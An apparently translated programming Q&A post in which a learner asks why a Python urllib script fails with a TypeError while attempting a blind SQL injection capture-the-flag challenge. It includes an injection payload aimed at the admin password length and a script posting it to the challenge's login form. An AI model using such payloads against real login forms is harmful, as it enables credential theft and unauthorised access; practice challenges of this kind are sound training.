Python期望带有请求的字符串或类字节对象

时间:2016-04-16 12:01:30

标签: sql python-3.x request sql-injection

我目前正在尝试挑战:通过盲注sql 找到管理员密码。

有一个包含用户名和密码字段的表单。用户名可用。我不想破坏挑战,但我找到了管理员密码的长度。而且,当我学习python并且我想编写查找密码的脚本时,我制作了这个脚本。

通过这个脚本,我想在用户名字段中注入/暴力:

admin' AND length(password)=8-- 

然后我需要阅读html内容以找到字符串"username : admin",如果它在这里,显示它的确定。 我的环境是Python 3.5

import urllib
import urllib.parse
import urllib.request
import re

#try password
url = 'http://challenge01.root-me.org/web-serveur/ch10/'
values = {'username' : 'admin\' AND lentgh(password)=8',
      'password' : 'test123'}

data = urllib.parse.urlencode(values)
data = data.encode(encoding="utf-8")
req = urllib.request.Request(url, data)
response = urllib.request.urlopen(req)

#read and stock html content
html_content = urllib.request.urlopen('http://challenge01.root-me.org/web-serveur/ch10/').read()
matches = re.findall(r'username : admin', response)

if len(matches) == 0:
   print ('There is a problem with the SQL request')
else:
   print ('the lentgh is : ')

但是当我执行脚本时出错:

Traceback (most recent call last):
File "E:/OneDrive/Programmation/Prgorammation Python/untitled   /bruteforcemp.py", line 19, in <module>
matches = re.findall(r'username : admin', response)
File "C:\Program Files (x86)\Python35-32\lib\re.py", line 213, in findall
return _compile(pattern, flags).findall(string)
TypeError: expected string or bytes-like object

我有点困惑。我将衷心感谢您的帮助!提前谢谢。

0 个答案:

没有答案